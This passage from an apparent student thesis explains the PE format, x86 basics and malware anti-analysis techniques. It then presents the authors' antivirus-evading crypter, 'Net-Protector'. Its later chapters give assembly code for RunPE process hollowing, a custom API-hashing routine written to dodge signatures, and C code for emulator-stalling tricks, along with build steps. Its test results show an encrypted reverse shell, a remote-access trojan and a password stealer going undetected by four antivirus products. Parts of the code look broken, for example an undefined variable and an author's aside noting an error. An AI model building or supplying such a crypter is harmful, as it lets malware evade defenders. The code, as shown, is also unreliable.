4.2.2 PE File Header

The PE File Header is placed after the MS-DOS Stub. The PE file header includes
all the important fields that are used by PE loader. The offset to the PE signature
is defined in the e_lfanew field of the MS-DOS Stub, thus allows the windows to
accurately execute the PE file. It also includes the PE signature, the COFF File
Header, the Optional Header, and the Section Table. It is defined in windows.inc
and Its structure is IMAGE_NT_HEADERS .

typedef struct _IMAGE_NT_HEADERS {


DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

A PE file contains a number of fields that tell us how does the rest of the file look
like. The header includes useful data like, the location and size of the code.

Figure 4.2.2 Signature of PE file header

Figure 4.2.2 illustrates the first part of PE header that is signature. Signature is 32
bit DWORD contains the value 0x00004550 aka ASCII string “PE” in little endian
order so that it can be understandable by windows loader.

| 34
putty
contain 4
sections.

Figure 4.2.3 File Header of PE file header

Figure 4.2.3 shows the second part of PE header that is File Header. It has allot
information regarding the physical layout and the properties of the files e.g.
number-of-sections defines size of the section table and the TimeDateStamp field
is also very interesting. It's a Unix timestamp. It can be used as a “unique version”
for the given file and can be used to know when a file was linked, useful for
determining whether an attacker tool is “fresh” or correlating with other forensic
evidence.

| / 35
Magic is the
true
determinant of
whether this is a
PE32 or PE32+
binary

AdressEntryPoint

specifies the Raw


Virtual Adress of
where the loader
starts executing
code

ImageBase
specifies the
preferred virtual
memory location
where the
beginning of the
binary should be
placed.

Figure 4.2.4 Optional Header of PE file header

Figure 4.2.4 illustrates the structure of optional header, which is the last part of
the PE header. It contains information about the layout within the PE file e.g.
Magic, AddressOfEntryPoint, ImageBase, SectionAlignment, FileAlignment,
SizeOfImage, SizeOfHeaders.

| / 36
4.2.3 The Section Table

This table follows the optional header. It is an array of IMAGE_SECTION_HEADER


structure [42]. Every section has unique attributes. Some of the sections are:
Code section: .text = section which contains code to be executable.
Data Section: .rdata = Section which contains read only data.
Resource Section: .rsrc = Section which contains the resource file.

Figure 4.2.5 The Section Table


Figure 4.2.5 illustrates the structure of the section table of putty. Each section
has a header and a body. This section contains the content of the file, including
code, data, resources. The Resources of a PE can be icons, text, windows or
copyright information etc.

Below are the steps that occur when PE Files are being loaded into the memory:

When PE files are run:

The PE loader analyzes the DOS MZ header for the offset of the PE header. If PE
header is located, then the loader executes the DOS stub. If not, it skips to the PE
header. Next, the PE loader inspects the efficacy of the PE header. If the header is
valid, then the PE loader proceeds to the end of the PE header. Using file
mapping, the PE header reads information about the sections and maps those

| 37
sections in the memory. It also gives each section the attribute specified in the
section table. After the PE file is mapped into memory, the PE loader concerns
itself with the logical parts of the PE file, such as the import table [42].

4.2.4 Import Address Table:

Import address table (IAT) contains all DLL and function name. when the
application is calling a function in a different module IAT is used as a lookup table.
similar to IAT there is EAT (Export Address Table) contained by DLL so other
applications can export/call that function [42].

4.3 PE Malformations
The PE file structure according to the PE/COFF specification is defined as the
normal or intentional structure. However, a gap is present between the actual
behavior of the Windows loader and PE/COFF specification [30].

Vuksan and Pericin define file format malformations as `special case conditions
that are introduced to the file layout and specific fields in order to achieve
undesired behavior by the programs that are parsing it' [29, Page 11]. on the
other hand, whether certain unusual setting in files are accidental or intended
usually cannot be determined. So the author decided to leave out the intention of
the person, who introduced the malformation [30].

Example of PE file malformation, the malware writer modify files without


adjusting all values that the PE/COFF specification requires. Some malformations
are also done to hide information in a PE file. An example is a virus that enlarges
the last section of the host file and copies itself into it.

4.4 Field Malformations


Definition (field malformation) A field malformation is a field in the PE File
Header or in a special section that has an invalid value according to the PE/COFF
specification, or a value that is treated differently by the Windows loader than the
PE/COFF specification suggests [30].

| 38
The following are some examples for field malformations.

 Zero or Too Large Image Base

Emulators might declare a file as corrupt and refuse to load it if its image base is
zero or above 0x 80 00 00 00 [31].

 Zero Entry Point.

If the AddressOfEntryPoint of an EXE file is zero, the execution of the file will start
at the image base, executing the MS-DOS signature `MZ' [31]. Parsers might
classify an EXE with a zero entry point as corrupt.

 Too Large SizeOfRawData

If the SizeOfRawData is larger than the VirtualSize, in this case the windows
loader replaces the SizeOfRawData with the VirtualSize [30]. That means setting
the SizeOfRawData to a larger value than the VirtualSize has the potential to
confuse analysis tools. Some tools are not able to determine the physical section
size correctly if reading the section based on SizeOfRawData exceeds the file size.

| 39
4.5 PE Parser
We wrote a small PE Parser to parse some header information from the
executable file. The purpose of developing PE Parser is to learn and understand
how loader can parse and patch application at runtime in memory

Our Goal is to

 Read Binary file


 Get size of Binary file.
 Get Address of IMAGE_DOS_HEADER and Address of IMAGE_NT_HEADERS
 Calculate Difference Between above two address.
 Dump HEX Bytes of IMAGE_DOS_HEADER only.

First, we write a code to Read file.

const char *filepath = "D:\\masm32\\Masm\\Projects\\cpp\\cpp.exe";


FILE *file = NULL;

if ((file = fopen(filepath, "rb")) == NULL)


{
cout << "File Can Not Be Opened" << endl;
}
else
{
cout << "File Opened Succesfully" << endl;
}

We get size of file :


long fileSize = getFileSize(file);

cout << "File Size : " << fileSize << " BYTES" << endl;
Read the file buffer so we can parse it .
unsigned char *filebuf = NULL;
filebuf = new unsigned char[fileSize];
fread(filebuf, fileSize, 1, file);

| 40
Get Address of IMAGE_DOS_HEADER and Address of IMAGE_NT_HEADERS.

IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)filebuf;


IMAGE_NT_HEADERS *inh = (IMAGE_NT_HEADERS*)&filebuf[idh->e_lfanew];

Calculate Difference Between above two address.

int b = (int)idh;
int a = (int)inh;
int total = (a - b);
cout << "DOS HEADER SIZE :: " << total << endl;

Dump HEX Bytes of IMAGE_DOS_HEADER only

for (int i = 0; i < total; i++)


printf("%X ", filebuf[i]);

Figure 4.5 PE parser


Figure 4.5 shows putty.exe loaded by PE parser, we can find file size of putty and
calculate difference between image_dos_header and image_nt_header.PE parser
can be used to patch header information of application at runtime in memory.

| 41
5. X86 Assembly & Shellcode

This Chapter introduced some basic concepts need for the shellcode
development strategy and to familiarize with the techniques used to write
reliable shellcode for Windows. Understanding these ideas allows malware
analysts to change exploits to perform custom functionality.

5.1 Shellcode
Shellcode is defined as a set of instructions injected and then executed by an
exploited program [32, Page 41]. Shellcode is utilized to particularly control
registers and the function of a program, it is written in assembler and converted
into hexadecimal opcodes.

5.1.2 Levels of Abstraction

Malware Author Malware Analyst


High-level Language Low-level Language

int i; Push ebp


printf("asif.\n"); move ebp, esp
exit(0); sub esp, 0x20

CPU Machine Code

55
8B EC
8B EC 20

Figure 5.1 Code level Example

| 5. X86 Assembly & Shellcode 42


Figure 5-1 Illustrates the three coding levels required in malware analysis.
Malware authors develop malware at the high-level language. However, malware
analysts operate at the low-level language. we use a disassembler to generate
assembly code that we can read and understand how a malware operates [42].

5.1.1 High-level Language


A programming language such as C, C++ is high-level language used by
programmers to write programs such languages are considered high-level
because, they are closer to human languages [43].
5.1.2 Machine code
The machine code level consists of opcodes, hexadecimal digits a set of
instruction which tell the processor what to do. Machine code is created when a
program is compiled [43].
5.1.3 Low-level languages
We use a disassembler to generate low-level language. A low-level language is a
human-readable instruction set. Malware analysts operate at the low-level
language text [43].

5.2 Assembly language


In this section we learned the basics of assembly language. The goal is to
understand assembly instructions, covering a small but useful subset of the
available instructions and assembler directives [8, Chapter 6].

5.2.1 Registers
The processor uses different registers in order to store temporary data. They
have different purposes. There are a few general purpose registers: EAX, EBX,
ECX, EDX, ESI and EDI. Each of them can store 4 bytes of data. Also, the lowest 2
bytes of them can be referred as AX, BX, CX, DX, SI and DI. The last byte is
accessible as: AL, BL, CL, DL [32, Page 41]. When referring to registers in assembly
language, the names are not case-sensitive. For example, the names EAX and eax
refer to the same register.

| 5. X86 Assembly & Shellcode 43


5.2.2 Main Memory
The main memory (RAM) stores all data and code. The RAM for a single program
can be divided into following four sections as shown in figure 5.2.

Figure 5.2 Basic memory layout for program [source: [8, Chapter 6]]
Data This term can be used to refer to a data section of memory, which contains
global value because they are available to any part of program.

Code Code includes the instructions to execute the program’s tasks. The code
controls what the program does.

Heap This term can be used to refer to dynamic memory because its contents
can change frequently while the program is running.

Stack The stack is used for local variables for functions, and to help control
program flow.

| 5. X86 Assembly & Shellcode 44


5.2.3 Instructions

The instructions are usually part of an executable program, often stored as a


computer file and executed on the processor [32, Page 41]. Machine instructions
is divided into three categories: control-flow, data movement, and
arithmetic/logic.

Data Movement Instructions [mov destination, source]


Will “move” the value from source to destination, will affect the source

Arithmetic and Logic Instructions


[add destination, source]
Will add the source to the.

[sub destination, source]


Will subtract the source from the destination.

[inc destination]
Will increase destination value with 1

[dec destination]
Will decrease destination value with 1

Example of x86 Assembly instruction:

; Comments can be specified by starting with a ;

1 mov EAX, 5 ; Put value 5 in the EAX


2 add EAX, 2 ; Add 2 to EAX, EAX will be 7
3 inc EAX ; EAX will be 8
4 mov EBX, 2 ; Store value 2 in EBX
5 sub EAX, EBX ; EAX will be 6

| 5. X86 Assembly & Shellcode 45


6. Anti-Detection and Anti-Reversing

6.1 Malware Detection Methods

6.1.1 String scanning


String scanning can distinguish malware absolutely if non-generic strategies are
utilized. Thus, it empowers malware-particular disinfection of the framework.
String scanning can't cope with unknown threats, unless the risk is a variation of a
known malware and covered by a generic detection signature [30].

6.1.2 Algorithmic scanning


Algorithmic scanning is the final resort if signature extraction of a malicious file is
not possible [34, Page 79]. The algorithms are a part of the signature database of
string scanners; accordingly, they depend on database upgrades. It requires time
for malware experts to analyze the malware and make a malware-particular
recognition algorithms. Algorithmic examining can recognize known malware, and
can just detect unknown threats if they are covered by a generic detection
algorithm.

6.1.3 Integration checker


Integration checker posses high operating speeds and lower resource
requirements. They are just effective against file infecting viruses. They recognize
known and unknown threats and create false positives.

6.1.4 Code emulation


Code emulation can recognize known and unknown threats utilizing dynamic
heuristic examination, with the possibility of false positives. Emulators are
additionally ready to decode most scrambled malware, which is the initial step for
further investigation, e. g., by string examining. Emulators are slow and their
presence can be recognized by malware. Code emulation is safe compared to
observation of programs that already run on the system.

| 6. Anti-Detection and Anti-Reversing 46


6.1.5 Heuristic analysis
Heuristic analysis can be static or dynamic. It detects known and unknown
malware. False positives are possible, exact identification is impossible,
disinfection can only be done with generic methods [34, Page 79].

There is no single superior detection method that suffices for every case. While
known threats are handled well with signature scanning and algorithmic scanning,
the detection of unknown threats always imposes the risk of false positives [30]. It
is necessary to apply several detection methods to get the best results. Their
implementation is a tradeoff between detection rate, accuracy, and performance
[34, Page 79].

6.2 Malware, Anti-Detection and Anti-Reversing


The previous section managed malware identification strategies. Malware
creators respond to these techniques by applying defense mechanisms to
malware [30]. Such malware utilizes procedures to avoid detection and tamper
malware analysis. Malware Defense increases the skill level that is important to
figure out the malware, thus, can delay or avoid investigation. The present section
gives an overview of anti-detection and -reversing techniques and discusses the
place and impact of file-format related defense.

6.2.1 Obfuscation
Definition Obfuscation is the deliberate act of making machine code or higher
level code difficult to understand by humans.

Some obfuscation techniques are:

1. Substitution of variable names or subroutine names with deceiving or non-


descriptive strings.

2. Encoding or encryption of strings in a binary file

3. Encoding or encryption of byte sequences

4. Adding superfluous code, structures, or functions that do nothing useful, or are


never executed; e. g., conditional jumps that always yield false

| 6. Anti-Detection and Anti-Reversing 47


5. Breaking conventions; e. g., coding conventions for certain programming
languages or conventions for the structure of a file format

6. Replacing code or data structures with more complexity, but equivalent code or
structures

6.2.2 Anti-Virtual Machine


The malware uses anti-virtual machine (anti-VM) techniques to avoid its analysis
in a VM [8, page 369]. If such malware detects that it is running in a VM, it may
not show any malicious behavior, terminate execution, or try to escape the virtual
environment to infect the host system [8, page 373].

VM systems leave traces, which malware uses to detect the VM. These artifacts
are, e. g., typical processes, registry entries, or files and folders

Example: To determine if a file is run using VMWare13, the processes and the
registry can be searched for the string VMware. Processes like VMwareTray.exe
are likely to be found.

To avoid detection of the process VMwareTray.exe in the example the analyst


can uninstall VMware Tools to get rid of the VMwareTray.exe process, or modify
the string VMwareTray.exe in the malware using a hex editor.

6.2.3 Anti-Emulation
Anti-emulation techniques hinder or prevent analysis by a code emulator. There
are three categories of anti-emulation techniques: Malware outlasts, outsmarts,
or overextends the emulator [38,Page 9].

Outlast
Emulation needs more time than static detection techniques; but the time an
antivirus program can spend on emulation without losing the patience of the user
is limited. Some malicious programs take time before they show any malicious
behavior. If the emulator cannot spend that much time, the malware outlasts the
emulator [38,Page 99].

| 6. Anti-Detection and Anti-Reversing 48


Outsmart
Outsmarting is done by restructuring the code or the file format, so it appears
harmless. This includes avoidance of detection by heuristic analysis and file
format malformations [38,Page 100].

Overextend
Emulators do not perfectly imitate a system. They use optimizations to reduce
complexity and improve performance. This includes the reduction of supported
instructions and libraries, and returning fixed values for certain system calls.
Malware detects these discrepancies, e. g., by asking the current system time
twice. If the returned values are the same, the malware concludes that it is
emulated [38,Page 100].

6.2.3 Anti-Debugging
Malware employs anti-debugging techniques to slow down or prevent its analysis
by a debugger. These techniques include the use of debugging detection to
behave differently if executed in a debugger.

Debuggers also have vulnerabilities that enables malware to cause debuggers to


crash [8, page 361]. These are file format malformations that the debugger
cannot handle.

6.2.4 Anti-Disassembly
The goal of anti-disassembly is to prevent automated disassembly of machine
code and make any code unavailable before it is run.

Following are the example of Anti-Disassembly [30].

 Dynamically generated code


 Code that modifies itself while it is running
 Code that was encrypted several times with different keys or encryption
algorithms

| 6. Anti-Detection and Anti-Reversing 49


 Encrypted code that is only decrypted and executed in chunks in memory;
chunks that are not needed any more, are encrypted again

Anti-disassembly techniques also affect other static analysis methods


 Decompilation will not be possible if disassembly already fails.
 File format information cannot be extracted if the most part of it is
encrypted.

| 6. Anti-Detection and Anti-Reversing 50


7. Net-Protector

In this Chapter we will discuss how Net-Protector can bypass Antivirus Detection
using code injection techniques and encryption. Net-Protector is coded in ASM
and Visual basic 6 with no dependencies. Meaning dependencies like .NET will not
be needed. The crypter is stable and is working on Windows XP, Windows Vista,
Windows 7, Windows 8/8.1 and Windows 10 on both 32-bit and 64-bit systems.
This chapter defines the target audience and requirements for the Net Protector
and describes the technology and design decisions based on these requirements.
The last section explains the implementation and functionality of Net-Protector
features.

7.1 Target Audience and Requirements


The target audience of Net-Protector includes the following groups:

 Penetration Testers.
 Software developers.
 Developers of reverse engineering and malware analysis tools.
 Anyone with an interest in information security.

This is useful for penetration testers and developers since it allows to inject code
in legitimate process, bypass the antivirus detection at scantime and runtime so
that pentesters can upload and execute other tools for post exploitation which is
an important part of the penetration testing process so that they can have better
control. Software developers can use the Net-protector to Encrypt Executable
files and to protect file from debugging & reverse engineers.

7.2 Requirements
This section contains all requirement for the Net-Protector. All requirements are
defined in point form.

| 7. Net-Protector 51
7.2.1 System Requirements
The following hardware and software are required for Net-Protector
applications.

7.2.2 Hardware and Software


Requirement Preference
 Pentium® 90MHz or higher microprocessor.
priority

 32 MB RAM for Windows NT. Priority

 Complete compatibility with any NT system: x32/x64 (XP, Vista, 7- priority


10 etc.),
7.2.3 Common Features
Requirement Preference
 Protection of windows executable (EXE) file against debugging Priority

 Support for all common programming languages Priority

 No ANTIVIRUS "FALSE ALERTS". Priority

 Bypass Antivirus Dynamic Analysis Priority

 API Emulation Priority

 IAT Import Address Table Redirection Priority

 Execution Delay Priority

 Bypass All Proactives Priority

Encrypting Executable file and bypassing scantime/runtime Antivirus Detection is


the main feature of Net-Protector. Before we start diving into the inner workings
of the Net-Protector it is important to know about packer.

| 7. Net-Protector 52
7.3 Packer Classification
Definition 1. A packer is a program that packs an executable file by putting it in a
software envelope. [8, Chapter 6]

The packer usually also modifies the executable but retains the original
functionality. The software envelope is also called stub and has the purpose to
unpack and run the file.

There are four categories of packers: bundlers, compressor, crypters and


protectors.

Stub
Target File Packer
Modified
target

Figure 7.1 How Packer works

The target is an executable file in its natural form prior to being operated on by a
packer.

The packer is modifying the target and put it in a software envelope, the so called
stub. The resulting file is the packed file.

The modifications that a packer applies to a target are compression, encryption,


anti-unpacking tricks or other obfuscation methods. Depending on these
modifications, packers are categorized into three types.

1. Compressor: applies compression to the target

2. Crypter: applies encryption to the target

3. Protector: applies encryption and compression to the target

| 7. Net-Protector 53
7.4 Technologies
This section lists and justifies the technologies that are used for the
implementation of the Net - Protector. This includes the involved programming
languages and technologies that help to avoid bugs and maintain high code
quality.

7.4.1 Programming Languages and Target Platform


The main requirements for Net-Protector is platform independence and
maximization of the potential target audience. That means the protected file
should be complete compatibility with any NT system: x32/x64 (XP, Vista, 7-10
etc.

Net-Protector consist of two parts. Builder and Stub. Stub is written in Visual basic
6 & Assembly language whereas, Builder is written in Visual basic 6.

Builder
The Builder Encrypt File with RC4 algorithm using random Symmetric key. RC4 is
a stream cipher designed by Rivest [40]. It is simple and easy to use. Since RC4 is
a stream cipher, padding or dividing the section data into blocks is not needed. it
takes the plaintext and XORs it on a byte-by-byte basis. Even if the input
executable is being encrypted, the code responsible for decryption is static. this
issue is outlined in " open points for the future " section 7.9 . One point to keep in
mind that, even though the RC4 algorithm is not 'fool-proof' or 'unbreakable' at
this moment but my proposed solution is only concerned about the anti-virus
itself. Assuming that the antivirus itself will not try to break the RC4 in an effort to
reveal the original content, it can be used safely. So far, we have tested with
different antiviruses, we couldn't find any behavior trying to break the algorithm.
In future, of course some better algorithm (e.g. Polymorphism) can be used to
make it more reliable.
Stub
The stub is the core of the program. It is the stub's mission to carry out file
decryption in memory and file execution or other custom options.

| 7. Net-Protector 54
7.4.2 Net-Protector Core Fundamentals
A Net-Protector encrypts all other target files such that it makes the actual bytes
unreadable. Crypter is used by the people to protect software from reverse
engineering, debugging. Antivirus signatures can also be defeated in this way
however, this technique of using crypter is also used by hackers to make a virus
and other malware undetected by antivirus software.

7.4.3 Net-Protector Workflow

Figure 7.2 Net-Protector Workflow

Figure 7.2 illustrates workflow of Net-Protector. We give file as input to the Net -
Protector. It encrypts the file and by encrypting the file, it defeats the static
analysis done by antivirus. During static analysis the antivirus tries to find the

| 7. Net-Protector 55
patterns in the executable and match with signatures. Because, the file is
encrypted so the antivirus can’t find patterns here and add the encrypted file in
resource section of stub. We receive protected file as output. Once protected file
is executed, then the stub runs and load encrypted file from resource and decrypt
the encrypted file. The decrypted file remains in memory. Executing the
decrypted file from memory, this is actually the heart of Net-Protector. Code
injection consists of running a code inside the memory of another process. This
Code Injection Method is called “Run PE “.

7.5 The RunPE method

The “RunPE” term refers to a method consisting of running some code in a


different process by replacing the processor code by the code you want to run.
The difference with code injection is that in code injection you execute code in
distant process allocated memory in RunPE you replace the distant process code
with the one you want to execute [47]. Here is a short example of how it could
work to hide a malware. When the loader/Stub is started,

1. Create valid Process (For example: notepad.exe) in Suspend State using Api
CreateProcessW [33].
; call CreateProcessW
lea eax,[ebp-288h] ;process info space
push eax
lea eax,[ebp-278h] ;statupinfo space
push eax
push 0
push 0
push 4 ;creationFlags 4 = suspend
push 0
push 0
push 0
push 0 ;lpCommandLine
lea eax, offset kkk;[ebp-22Ch];offset kkk = path of notepad.exe; [ebp-22Ch] ;application name
push eax
call dword ptr [ebp-10h]

2. Read Target context using Api GetThreadContext.


;call RtlZeroMemory on space for thread contex
push 2CCh
lea eax,[ebp-55Ch];space for thread contex
push eax
call dword ptr [ebp-2Ch]

| 7. Net-Protector 56
;call GetThreadContext
mov dword ptr [ebp-55Ch],10007h ;contex = full
lea eax,[ebp-55Ch]
push eax
push dword ptr [ebp-284h]
call dword ptr [ebp-14h] ;call getthreadcontex

3. Read ProcessMemory using Api ReadProcessMemory.


;get ReadProcessMemory
mov ebx,098F1F233h ;ReadProcessMemory
mov edx,dword ptr [ebp-234h] ;move K32base to edx
call getFuncAddr
mov dword ptr [ebp-8],eax ;save ReadProcessMemory

4. Unmap the memory using Api NtUnmapViewOfSection.


;get destination Imagebase
push 0
push 4 ;4bytes to read
lea eax,[ebp-22Ch] ;space to save destination Imagebase here
push eax
mov eax,[ebp-4B8h]; CTX->Ebx
add eax, 08h; (A4 + 8) CTX->Ebx + 8
push eax
push dword ptr [ebp-288h]
call dword ptr [ebp-8] ;call ReadProcessMemory

;call NtUnmapViewOfSection
push [ebp-22Ch]; destination Imagebase
push dword ptr [ebp-288h]
call dword ptr [ebp-28h]

5. Get ImageSize and change Read/Write/Execute Permision of Destination


Image using Api VirtualAllocEx
;get ImageSize and call VirtualAllocEx
mov edi,dword ptr [ebp-4] ;move xdata to edi
add edi,dword ptr [edi+3Ch];point to e_lfanew of xdata
push 40h ;protection
push 3000h ;allocType
push dword ptr [edi+50h] ;ImageSize
push [ebp-22Ch]; destination Imagebase(lpaddress)
push dword ptr [ebp-288h] ;hProcess
call dword ptr [ebp-18h] ;VirtualAllocEx

6. Map PE in Destination Image using WriteProcessMemory.


;Map PE to destination image
mov dword ptr [ebp-28Ch],eax ; destination Imagebase(lpaddress)

| 7. Net-Protector 57
mov dword ptr [edi+34h],eax;set new image base..
push 0 ;optional *written bytes
push dword ptr [edi+54h] ;size to write(size of header)
push dword ptr [ebp-4] ;buffer to write
push dword ptr [ebp-28Ch];lpaddress destination Imagebase
push dword ptr [ebp-288h];handle
call dword ptr [ebp-1Ch] ; call WriteProcessMemory
;
lea eax,[edi+18h]; base of Nt.OptionalHeader
mov dword ptr [ebp-290h],eax
movzx eax,word ptr [edi+14h] ; size of optional header
add dword ptr [ebp-290h],eax
xor eax,eax
xor esi,esi
xor ecx,ecx
jmp NextSection

7. Set Thread context using Api SetThreadContext.


NextSection:
cmp si,word ptr [edi+6]
jb ParseSection

mov eax,dword ptr [ebp-28Ch] ;here we need to try ans set the ctx->eax to be new entrypoint.. i
see the error here bro..

add eax,dword ptr [edi+28h]


lea ecx,[ebp-55Ch] ;mov dword ptr [ebp-4ACh],eax
mov dword ptr [ecx+0B0h], eax
lea eax,[ebp-55Ch]
push eax
push dword ptr [ebp-284h] ;thread Handle
call dword ptr [ebp-20h] ; call SetThreadContext
;_wait:

8. Resume the Suspended Process using Api ResumeThread.


push dword ptr [ebp-284h]
call dword ptr [ebp-24h] ; call ResumeThread
leave
ret

Once the process is resumed (using ResumeThread), the malware executes


instead of the process.
Once the code is running inside the trusted process, it is likely to have far more
freedom as to what it can do without triggering antivirus warnings.

| 7. Net-Protector 58
7.6 Stub Design
The size of obfuscated uncompressed stub is 250-340kb. The main modules of the
stub are

Main module Code injection Encryption


module module
The code injection module is a pure shellcode, we used following tools to develop
this module.

RADASM
We used RADASM code editor to compile the assembly code. RADASM is a code
editor which supports different programming languages such as Masm. GoAsm.
Fasm etc [51].

OllyDbg
We used OllyDbg to debug and extract the opcodes. Please see Section 3.3.2 for
description of ollydbg.

Hxd
We also used Hxd, Hex Editor to extract Hex bytes and modify them. Hxd is a hex
editor which supports raw disk editing and modifying of main memory (RAM),
handles files of any size [52].
7.6.1 Finding Windows Function
We use Process Environment Block (PEB) technique for determining the base
address of kernel32.dll.The method manually entails the location of KERNEL32.dll
and then parsing its export address table to find important functions. The PEB
structure holds information about the processes, heaps, binary image and vital
three linked lists regarding loaded modules that have been mapped into process
space. The order in which KERNEL32.dll initialization is always uniform as the
second module to be initialized immediately after it. By passing the list to the
second entry, the base address for KERNEL32.dll can be extracted. This technique
is detailed in "understanding windows shellcode" [53].

| 7. Net-Protector 59
Instead of using one of the publicly available hashing algorithms, we chose to
develop our own in an attempt to evade signature-based anti-viruses.

The following assembly code implements the locating procedure and finding
function using hashes.
getK32FromPEB:
mov eax,dword ptr fs:[00000030h];Offset 30h of TEB where PEB Pointer is stored.
mov eax,dword ptr [eax+0Ch] ; Offset 0Ch of PEB PPEB_LDR_DATA LoaderData
mov eax,dword ptr [eax+0Ch] ; InLoadOrderModuleList;
mov eax,dword ptr [eax] ; Flink-> from exe to nt
mov eax,dword ptr [eax] ; Flink-> from nt to k32
mov eax,dword ptr [eax+18h] ; select base LDR_MODULE->BaseAddress
ret

getFuncAddr:
push ebp
mov ebp,esp
add esp,0FFFFFFF4h ; align stack to 4bytes
push edx ; push module base
mov dword ptr [ebp-4],edx ;keap moduleBase at ebp-4
mov ecx,dword ptr [edx+3Ch];mov e_lfanew to ecx
add ecx,edx ;add e_lfanew to base and get ntHeader
mov dword ptr [ebp-0Ch],ecx ;keap ntHeader at ebp-0Ch
mov ecx,dword ptr [ecx+78h] ;mov export RVA in data directory to ecx
add ecx,edx ;add export rva to moduleBase
mov dword ptr [ebp-8],ecx ;keap ptr to export table at ebp-8
mov edx,dword ptr [ecx+18h];mov number of functions to edx
mov ecx,dword ptr [ecx+20h];mov pRVAlist of functions to ecx
add ecx,dword ptr [ebp-4] ;add functions pRVAlist to moduleBase
searchFunc:
xor edi,edi ;clean edi
mov esi,dword ptr [ecx] ;mov functions pRVAlist to esi
add esi,dword ptr [ebp-4] ;add base to functions rva to get functions name..

xor eax,eax ;clean eax


push ecx ;push pRVAlist
hashFuncName:
lods byte ptr [esi]; lod a byte pointed to by esi to al and increase esi by 1
mov ecx,eax ;move eax(that byte) to ecx
add edi,eax ;add eax(that byte) to edi
rol edi,cl ; rol edi with cl
test eax,eax ; check if eax is 0
jne hashFuncName ; if eax is not zero
pop ecx ;pop ecx (pRVAlist)
cmp edi, ebx; compare edi with function hash
je FuncFound
add ecx, 4 ;go to next in (pRVAlist)
dec edx ;decrease function count.
jne searchFunc

| 7. Net-Protector 60
mov edx, 1B6258C2h
pop edx
xor eax,eax
leave
ret

7.7 Net-Protector Features:


This section contains description of some of features of Net-Protector.

Following are some of future of Net-Protector.


 Bypass Antivirus Dynamic Analysis [48].
 IAT Import Address Table Redirection [50].
 API Emulation [48].
 Anti-debugging Techniques [49].

7.7.1 Bypass Antivirus Dynamic Analysis


The limit of the antivirus scanner is time that they can spend on a file. The simple
method to avoid the antivirus is buying enough time before the code is decrypted.
There are many methods to gain time. Simple Method is a long loop which
consumes too much resources [48]. The Antivirus will stop functioning before the
real code is started. e.g.
#define TOO_MUCH_MEM 100000000
int main()
{
char * memoryd = NULL;
memoryd = (char *) malloc(TOO_MUCH_MEM);
if(memoryd!=NULL)
{
memset(memoryd,00, TOO_MUCH_MEM);
free(memorydmp);
decryptCodeSection();
startShellCode();
}
return 0;
}
The drawback is that the 100M Byte memory can burst which can be detected by
process monitoring.

| 7. Net-Protector 61
Example 2 attempt to open a system process
int main()
{
HANDLE file;
HANDLE proc;
proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4 );
if (proc == NULL)
{decryptCodeSection();startShellCode();}
return 0;
}
This code tends to open the process number four that is a system process, with
admin rights. It will fail If the code does not run with Session 0.

7.7.2 Anti-debugging Techniques

Following three anti-debugging Techniques are used by the Net-Protector [49].

 Checks for breakpoints

Detection of 0xCC bytes. 0xcc byte is a breakpoint instruction used by


debugger

 API calls

IsDebuggerPresent - This API function is to check a specific flag in PEB and


returns TRUE/FALSE. if return result is true that means debugger is found.

 CloseHandle and NtClose

A very fine method based on the fact that when the process is debugged
call of ZwClose with invalid handle generates an exception.

7.7.3 IAT Import Address Table Redirection


IAT stands for Import Address Table, with the help of this section reverse engineer
or malware analyst can easily identify functions that are called from other
modules in a program. It makes the code under the debugger easier to read and
find address location from functions of interest [50]. The net - Protector can
protect IAT list by using the IAT redirection technique.

| 7. Net-Protector 62
In general, executables call local OS functions & routines directly which makes it
apparent to the anti-virus programs to track down as shown in Figure 7.3

Program API Functions

Figure 7.3 Typical Import Address Table

In contrast, Net Protector works in different methodology to camouflage the API


call. As described in previous section, a typical IAT table ought to be built with the
locations of the functions. Our program leverage this pattern and redirect call
through proxy address to find the desired functions. This working principle makes
it difficult for anti-viruses to track the direct call of packed functions.

Packed Proxy Api Function


Program

Figure 7.4 Redirected Import Address Table

7.7.4 API Emulation


Making analysis more complicated, API emulation will emulate genuine API calls
and will return substantial (as far as structure) however, wrong data back to
unpacking.

A straightforward case is it would give back the return values of GetTempPath


rather than the ones from GetWindowsDirectory [48].

7.8 How to use Net-Protector


Following section describes the UI of Net Protector along with its functionalities.

| 7. Net-Protector 63
Figure 7.5 Net Protector Builder

Run the executable which brings the above startup screen (Figure 7.5) . Then
select file which we want to be encrypted and move our mouse in encryption key
area to collect some random position keys. Finally click protect button which pops
up a message box with Encryption key (Figure 7.6)

| 7. Net-Protector 64
Figure 7.6 Randomize Encryption Key

once we build encrypted file and have encryption key. we open stub using
resource hacker or resource editor addon of visual basic 6 and using the above
tool we can edit in resource section and add the key in string table (figure 7.7).
Then add encrypted file in resource section under directory named 'CUSTOM'
(figure 7.8). Finally save the whole resource from the editor.

Figure 7.7 Adding Encryption key in resource section of stub

Figure 7.8 Adding Encrypted File in Resource section of Stub.

| 7. Net-Protector 65
once we have final customized executable file, executing this file it will load the
encryption key & encrypted file from resource, it will then decrypt it in runtime
and the decrypted file will be injected into legitimate process.

7.9 Testing
In order to test the effectiveness of our methods a testing environment was
created. We build two Virtual Machines running Windows 10 x64, using VMware
Workstation that shared a folder with the host machine. In each of the VMs a
different antivirus was installed and was allowed to update itself. A netcat was
started in listen mode in our host machine, which was configured to handle shell
connections.

Six different binaries were used for our testing.

 nc.exe a windows reverse TCP shell executable .


 host.exe a Netwire remote administration tool [41].
 web.exe web browser password recovery executable from nirsoft.
 netnc.exe Encrypted reverse TCP shell with Net-Protector
 nethost.exe Encrypted Netwire RAT with Net-Protector
 netweb.exe Encrypted Web browser password recovery with Net-Protector

The testing result can be found in the following table.

Antivirus nc.exe Host.exe Web.exe Netnc.exe Nethost Netweb.


Name .exe exe
Sophos Flaged Flaged Flaged ok ok ok
[35]
Eset Flaged Flaged Flaged ok ok ok
Nod32 [36]
MCAffee Flaged Flaged Flaged ok ok ok
[37]
Kaspersky Flaged Flaged Flaged ok ok ok
[39]
Table 7.1 Test Result

| 7. Net-Protector 66
Additionally, we submitted Encrypted file at scan4you to find out if it is
detectable by Antivirus, there are many websites where a file can be scanned by
different Antivirus and report will be generated but majority of them distributes
scanned file with Antivirus Vendors. It is recommended to scan all files on
